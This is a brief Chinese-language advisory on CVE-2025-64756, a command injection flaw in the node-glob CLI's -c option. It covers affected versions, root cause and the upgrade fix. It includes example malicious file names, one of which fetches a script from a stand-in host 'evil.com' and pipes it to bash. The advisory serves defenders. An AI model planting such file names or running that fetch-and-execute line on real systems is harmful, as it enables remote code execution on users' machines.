CVE-2025-64756CVE-2025-64756是node-glob npm包中的一个高危命令注入漏洞。node-glob是一个常用的Node.js文件匹配工具,用于根据glob模式查找文件系统中的文件。该漏洞影响10.2.0至10.4.x版本和11.0.0至11.0.x版本。攻击者可以通过创建包含shell元字符的恶意文件名,当目标用户使用`glob -c <command> <patterns>`命令时,触发命令注入攻击,实现任意代码执行。CVSS评分7.5,属于高危漏洞。由于node-glob广泛应用于CI/CD流程和自动化脚本中,攻击者可能通过供应链攻击或诱骗用户处理恶意文件来获取目标系统的控制权。
该漏洞源于node-glob的CLI实现中,当使用`-c/--cmd`选项时,匹配到的文件名会被传递给shell执行。具体问题在于代码使用了`child_process.spawn`或类似方法,并设置了`shell: true`选项。这导致文件名中的shell元字符(如反引号`` ` ``、`$()`、管道符`|`等)会被shell解释执行。攻击者只需在文件系统中植入一个恶意命名的文件(如`$(whoami).txt`或`` `id` ``),当受害者在包含该文件的目录执行`glob -c whoami *.txt`时,shell会先解析文件名中的命令,导致命令注入。例如,文件名`$(curl evil.com/shell.sh|bash)`在glob处理时会触发远程代码执行。修复方案是升级到10.5.0或11.1.0版本,或避免在文件名可能不可控的场景下使用`-c`选项。